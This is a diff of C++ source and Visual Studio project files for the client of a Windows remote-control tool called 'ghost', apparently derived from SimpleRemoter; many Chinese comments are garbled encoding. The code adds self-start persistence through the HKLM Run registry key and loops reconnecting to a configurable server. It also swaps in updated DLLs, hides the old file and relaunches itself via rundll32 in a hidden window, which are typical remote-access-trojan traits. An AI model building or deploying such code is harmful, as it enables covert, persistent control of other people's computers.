#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
|
||||||
|
|
||||||
|
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||||
|
HKEY hKey = NULL;
|
||||||
|
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
|
||||||
|
|
||||||
|
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
||||||
|
if (lRet != ERROR_SUCCESS)
|
||||||
|
return FALSE;
|
||||||
|
|
||||||
|
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
|
||||||
|
|
||||||
|
// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
|
||||||
|
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
|
||||||
|
return lRet == ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD>ؿ<EFBFBD><D8BF><EFBFBD>̨
|
||||||
|
// <20>ο<EFBFBD><CEBF><EFBFBD>https://blog.csdn.net/lijia11080117/article/details/44916647
|
||||||
|
// step1: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22><EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD>ΪmainCRTStartup
|
||||||
|
// step2: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"ϵͳ"<22><><EFBFBD><EFBFBD>ϵͳΪ<CDB3><CEAA><EFBFBD><EFBFBD>
|
||||||
|
// <20><><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
BOOL CALLBACK callback(DWORD CtrlType)
|
BOOL CALLBACK callback(DWORD CtrlType)
|
||||||
{
|
{
|
||||||
if (CtrlType == CTRL_CLOSE_EVENT)
|
if (CtrlType == CTRL_CLOSE_EVENT)
|
||||||
@@ -33,12 +107,13 @@ BOOL CALLBACK callback(DWORD CtrlType)
|
|||||||
|
|
||||||
int main(int argc, const char *argv[])
|
int main(int argc, const char *argv[])
|
||||||
{
|
{
|
||||||
status = E_RUN;
|
if (!SetSelfStart(argv[0], REG_NAME))
|
||||||
if (argc < 3)
|
|
||||||
{
|
{
|
||||||
std::cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
|
std::cout << "<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
|
||||||
return -1;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
status = E_RUN;
|
||||||
|
|
||||||
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
|
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
|
||||||
if (ERROR_ALREADY_EXISTS == GetLastError())
|
if (ERROR_ALREADY_EXISTS == GetLastError())
|
||||||
{
|
{
|
||||||
@@ -47,17 +122,33 @@ int main(int argc, const char *argv[])
|
|||||||
}
|
}
|
||||||
|
|
||||||
SetConsoleCtrlHandler(&callback, TRUE);
|
SetConsoleCtrlHandler(&callback, TRUE);
|
||||||
const char *szServerIP = argv[1];
|
if (argc>=3)
|
||||||
int uPort = atoi(argv[2]);
|
{
|
||||||
printf("[remote] %s:%d\n", szServerIP, uPort);
|
g_SETTINGS.SetServer(argv[1], atoi(argv[2]));
|
||||||
|
}
|
||||||
|
if (strlen(g_SETTINGS.ServerIP())==0|| g_SETTINGS.ServerPort()<=0) {
|
||||||
|
printf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ṩԶ<E1B9A9><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6>!\n");
|
||||||
|
Sleep(3000);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
printf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||||||
|
|
||||||
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
|
// <20><>ȡ<EFBFBD><C8A1>ǰģ<C7B0><C4A3><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD><EFBFBD><EFBFBD>HINSTANCE<43><45>
|
||||||
g_uPort = uPort;
|
g_hInstance = GetModuleHandle(NULL);
|
||||||
|
if (g_hInstance != NULL) {
|
||||||
|
std::cout << "HINSTANCE: " << g_hInstance << std::endl;
|
||||||
|
} else {
|
||||||
|
std::cerr << "Failed to get HINSTANCE" << std::endl;
|
||||||
|
}
|
||||||
|
|
||||||
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
do{
|
||||||
|
g_bExit = 0;
|
||||||
|
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
||||||
|
|
||||||
|
WaitForSingleObject(hThread, INFINITE);
|
||||||
|
CloseHandle(hThread);
|
||||||
|
}while (E_RUN == status && 1 != g_bExit);
|
||||||
|
|
||||||
WaitForSingleObject(hThread, INFINITE);
|
|
||||||
CloseHandle(hThread);
|
|
||||||
status = E_STOP;
|
status = E_STOP;
|
||||||
|
|
||||||
CloseHandle(hMutex);
|
CloseHandle(hMutex);
|
||||||
@@ -85,15 +176,22 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
|||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ghost
|
||||||
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||||||
{
|
{
|
||||||
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
|
g_bExit = FALSE;
|
||||||
g_uPort = uPort;
|
if (strlen(szServerIP)>0 && uPort>0)
|
||||||
|
{
|
||||||
|
g_SETTINGS.SetServer(szServerIP, uPort);
|
||||||
|
}
|
||||||
|
g_SETTINGS.SetType(CLIENT_TYPE_DLL);
|
||||||
|
|
||||||
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
||||||
|
if (hThread == NULL) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
WaitForSingleObject(hThread, 200);
|
WaitForSingleObject(hThread, INFINITE);
|
||||||
#else
|
#else
|
||||||
WaitForSingleObject(hThread, INFINITE);
|
WaitForSingleObject(hThread, INFINITE);
|
||||||
#endif
|
#endif
|
||||||
@@ -103,26 +201,122 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
|||||||
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD>
|
// ֹͣ<CDA3><D6B9><EFBFBD><EFBFBD>
|
||||||
extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
|
extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
|
||||||
|
|
||||||
|
|
||||||
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
||||||
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
|
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
|
||||||
|
|
||||||
|
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
|
||||||
|
extern "C" __declspec(dllexport) BOOL IsExit() { return g_bExit; }
|
||||||
|
|
||||||
|
// copy from: SimpleRemoter\client\test.cpp
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD>DLL
|
||||||
|
void RunNewDll(const char* cmdLine) {
|
||||||
|
char path[_MAX_PATH], * p = path;
|
||||||
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||||
|
while (*p) ++p;
|
||||||
|
while ('\\' != *p) --p;
|
||||||
|
*(p + 1) = 0;
|
||||||
|
std::string folder = path;
|
||||||
|
std::string oldFile = folder + "ServerDll.old";
|
||||||
|
std::string newFile = folder + "ServerDll.new";
|
||||||
|
strcpy(p + 1, "ServerDll.dll");
|
||||||
|
BOOL ok = TRUE;
|
||||||
|
if (_access(newFile.c_str(), 0) != -1) {
|
||||||
|
if (_access(oldFile.c_str(), 0) != -1)
|
||||||
|
{
|
||||||
|
if (!DeleteFileA(oldFile.c_str()))
|
||||||
|
{
|
||||||
|
std::cerr << "Error deleting file. Error code: " << GetLastError() << std::endl;
|
||||||
|
ok = FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (ok && !MoveFileA(path, oldFile.c_str())) {
|
||||||
|
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
|
||||||
|
if (_access(path, 0) != -1)
|
||||||
|
{
|
||||||
|
ok = FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
||||||
|
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN))
|
||||||
|
{
|
||||||
|
std::cout << "File created and set to hidden: " << oldFile << std::endl;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (ok && !MoveFileA(newFile.c_str(), path)) {
|
||||||
|
std::cerr << "Error removing file. Error code: " << GetLastError() << std::endl;
|
||||||
|
MoveFileA(oldFile.c_str(), path);// recover
|
||||||
|
}
|
||||||
|
else if (ok) {
|
||||||
|
std::cout << "Using new file: " << newFile << std::endl;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
char cmd[1024];
|
||||||
|
sprintf_s(cmd, "%s,Run %s", path, cmdLine);
|
||||||
|
ShellExecuteA(NULL, "open", "rundll32.exe", cmd, NULL, SW_HIDE);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* <20><><EFBFBD>пͻ<D0BF><CDBB>˵ĺ<CBB5><C4BA>Ĵ<EFBFBD><C4B4><EFBFBD>. <20><>Ϊ<EFBFBD><CEAA><EFBFBD>嵼<EFBFBD><E5B5BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD> rundll32 <20><><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC>.
|
||||||
|
HWND hwnd: <20><><EFBFBD><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><CDA8>Ϊ NULL<4C><4C><EFBFBD><EFBFBD>
|
||||||
|
HINSTANCE hinst: DLL <20><>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
LPSTR lpszCmdLine: <20><><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><D0B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
int nCmdShow: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ״̬<D7B4><CCAC>
|
||||||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>rundll32.exe ClientDemo.dll,Run 127.0.0.1:6543
|
||||||
|
<EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>в<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>
|
||||||
|
*/
|
||||||
|
extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
|
||||||
|
char message[256] = { 0 };
|
||||||
|
if (strlen(lpszCmdLine) != 0) {
|
||||||
|
strcpy_s(message, lpszCmdLine);
|
||||||
|
}else if (g_SETTINGS.IsValid())
|
||||||
|
{
|
||||||
|
sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||||||
|
}
|
||||||
|
|
||||||
|
std::istringstream stream(message);
|
||||||
|
std::string item;
|
||||||
|
std::vector<std::string> result;
|
||||||
|
while (std::getline(stream, item, ':')) {
|
||||||
|
result.push_back(item);
|
||||||
|
}
|
||||||
|
if (result.size() == 1)
|
||||||
|
{
|
||||||
|
result.push_back("80");
|
||||||
|
}
|
||||||
|
if (result.size() != 2) {
|
||||||
|
MessageBox(hwnd, "<EFBFBD><EFBFBD><EFBFBD>ṩ<EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ!", "<EFBFBD><EFBFBD>ʾ", MB_OK);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
|
||||||
|
while (!IsStoped())
|
||||||
|
Sleep(20);
|
||||||
|
} while (!IsExit());
|
||||||
|
if (IsExit() == 1)
|
||||||
|
return;
|
||||||
|
sprintf_s(message, "%s:%d", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||||||
|
RunNewDll(message);
|
||||||
|
}
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
DWORD WINAPI StartClient(LPVOID lParam)
|
DWORD WINAPI StartClient(LPVOID lParam)
|
||||||
{
|
{
|
||||||
IOCPClient *ClientObject = new IOCPClient();
|
IOCPClient *ClientObject = new IOCPClient();
|
||||||
|
|
||||||
|
g_bThreadExit = false;
|
||||||
while (!g_bExit)
|
while (!g_bExit)
|
||||||
{
|
{
|
||||||
DWORD dwTickCount = GetTickCount();
|
DWORD dwTickCount = GetTickCount64();
|
||||||
if (!ClientObject->ConnectServer(g_szServerIP, g_uPort))
|
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
||||||
{
|
{
|
||||||
for (int k = 500; !g_bExit && --k; Sleep(10));
|
for (int k = 500; !g_bExit && --k; Sleep(10));
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
//<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//<><D7BC><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
SendLoginInfo(ClientObject, GetTickCount()-dwTickCount);
|
SendLoginInfo(ClientObject, GetTickCount64()-dwTickCount, g_SETTINGS.ClientType());
|
||||||
|
|
||||||
CKernelManager Manager(ClientObject);
|
CKernelManager Manager(ClientObject);
|
||||||
bool bIsRun = 0;
|
bool bIsRun = 0;
|
||||||
@@ -133,6 +327,8 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
|||||||
bIsRun = ClientObject->IsRunning();
|
bIsRun = ClientObject->IsRunning();
|
||||||
|
|
||||||
} while (bIsRun && ClientObject->IsConnected() && !g_bExit);
|
} while (bIsRun && ClientObject->IsConnected() && !g_bExit);
|
||||||
|
while (GetTickCount64() - dwTickCount < 5000 && !g_bExit)
|
||||||
|
Sleep(200);
|
||||||
}
|
}
|
||||||
|
|
||||||
cout<<"StartClient end\n";
|
cout<<"StartClient end\n";
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
<?xml version="1.0" encoding="utf-8"?>
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
<ItemGroup Label="ProjectConfigurations">
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
<ProjectConfiguration Include="Debug|Win32">
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
<Configuration>Debug</Configuration>
|
<Configuration>Debug</Configuration>
|
||||||
@@ -14,19 +14,20 @@
|
|||||||
<ProjectGuid>{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}</ProjectGuid>
|
<ProjectGuid>{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}</ProjectGuid>
|
||||||
<RootNamespace>ClientDll</RootNamespace>
|
<RootNamespace>ClientDll</RootNamespace>
|
||||||
<ProjectName>ServerDll</ProjectName>
|
<ProjectName>ServerDll</ProjectName>
|
||||||
|
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
<UseDebugLibraries>true</UseDebugLibraries>
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
<PlatformToolset>v110</PlatformToolset>
|
<PlatformToolset>v110_xp</PlatformToolset>
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
<UseOfMfc>false</UseOfMfc>
|
<UseOfMfc>false</UseOfMfc>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
<UseDebugLibraries>false</UseDebugLibraries>
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
<PlatformToolset>v110</PlatformToolset>
|
<PlatformToolset>v110_xp</PlatformToolset>
|
||||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
@@ -40,7 +41,14 @@
|
|||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
</ImportGroup>
|
</ImportGroup>
|
||||||
<PropertyGroup Label="UserMacros" />
|
<PropertyGroup Label="UserMacros" />
|
||||||
<PropertyGroup />
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||||
|
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
|
||||||
|
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
|
||||||
|
</PropertyGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
<ClCompile>
|
<ClCompile>
|
||||||
<WarningLevel>Level3</WarningLevel>
|
<WarningLevel>Level3</WarningLevel>
|
||||||
@@ -83,7 +91,6 @@
|
|||||||
<ClCompile Include="CaptureVideo.cpp" />
|
<ClCompile Include="CaptureVideo.cpp" />
|
||||||
<ClCompile Include="ClientDll.cpp" />
|
<ClCompile Include="ClientDll.cpp" />
|
||||||
<ClCompile Include="Common.cpp" />
|
<ClCompile Include="Common.cpp" />
|
||||||
<ClCompile Include="CursorInfor.cpp" />
|
|
||||||
<ClCompile Include="FileManager.cpp" />
|
<ClCompile Include="FileManager.cpp" />
|
||||||
<ClCompile Include="IOCPClient.cpp" />
|
<ClCompile Include="IOCPClient.cpp" />
|
||||||
<ClCompile Include="KernelManager.cpp" />
|
<ClCompile Include="KernelManager.cpp" />
|
||||||
@@ -106,7 +113,7 @@
|
|||||||
<ClInclude Include="Buffer.h" />
|
<ClInclude Include="Buffer.h" />
|
||||||
<ClInclude Include="CaptureVideo.h" />
|
<ClInclude Include="CaptureVideo.h" />
|
||||||
<ClInclude Include="Common.h" />
|
<ClInclude Include="Common.h" />
|
||||||
<ClInclude Include="CursorInfor.h" />
|
<ClInclude Include="CursorInfo.h" />
|
||||||
<ClInclude Include="FileManager.h" />
|
<ClInclude Include="FileManager.h" />
|
||||||
<ClInclude Include="IOCPClient.h" />
|
<ClInclude Include="IOCPClient.h" />
|
||||||
<ClInclude Include="KernelManager.h" />
|
<ClInclude Include="KernelManager.h" />
|
||||||
@@ -138,6 +145,7 @@
|
|||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Image Include="Res\ghost.ico" />
|
<Image Include="Res\ghost.ico" />
|
||||||
|
<Image Include="Res\msg.ico" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
<ImportGroup Label="ExtensionTargets">
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
|||||||
@@ -33,9 +33,6 @@
|
|||||||
<ClCompile Include="Common.cpp">
|
<ClCompile Include="Common.cpp">
|
||||||
<Filter>源文件</Filter>
|
<Filter>源文件</Filter>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<ClCompile Include="CursorInfor.cpp">
|
|
||||||
<Filter>源文件</Filter>
|
|
||||||
</ClCompile>
|
|
||||||
<ClCompile Include="FileManager.cpp">
|
<ClCompile Include="FileManager.cpp">
|
||||||
<Filter>源文件</Filter>
|
<Filter>源文件</Filter>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
@@ -98,9 +95,6 @@
|
|||||||
<ClInclude Include="Common.h">
|
<ClInclude Include="Common.h">
|
||||||
<Filter>头文件</Filter>
|
<Filter>头文件</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
<ClInclude Include="CursorInfor.h">
|
|
||||||
<Filter>头文件</Filter>
|
|
||||||
</ClInclude>
|
|
||||||
<ClInclude Include="FileManager.h">
|
<ClInclude Include="FileManager.h">
|
||||||
<Filter>头文件</Filter>
|
<Filter>头文件</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
@@ -158,6 +152,9 @@
|
|||||||
<ClInclude Include="zlib.h">
|
<ClInclude Include="zlib.h">
|
||||||
<Filter>头文件</Filter>
|
<Filter>头文件</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
|
<ClInclude Include="CursorInfo.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ResourceCompile Include="Script.rc">
|
<ResourceCompile Include="Script.rc">
|
||||||
@@ -178,5 +175,8 @@
|
|||||||
<Image Include="Res\ghost.ico">
|
<Image Include="Res\ghost.ico">
|
||||||
<Filter>资源文件</Filter>
|
<Filter>资源文件</Filter>
|
||||||
</Image>
|
</Image>
|
||||||
|
<Image Include="Res\msg.ico">
|
||||||
|
<Filter>资源文件</Filter>
|
||||||
|
</Image>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
</Project>
|
</Project>
|
||||||
156
client/ClientDll_vs2015.vcxproj
Normal file
@@ -0,0 +1,156 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<ProjectGuid>{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}</ProjectGuid>
|
||||||
|
<RootNamespace>ClientDll</RootNamespace>
|
||||||
|
<ProjectName>ServerDll</ProjectName>
|
||||||
|
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<UseOfMfc>false</UseOfMfc>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v142</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(IncludePath)</IncludePath>
|
||||||
|
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(VLDPATH)\lib\Win32\;$(LibraryPath)</LibraryPath>
|
||||||
|
<IntDir>$(Configuration)\dll</IntDir>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(VLDPATH)\lib\Win32\;$(LibraryPath)</LibraryPath>
|
||||||
|
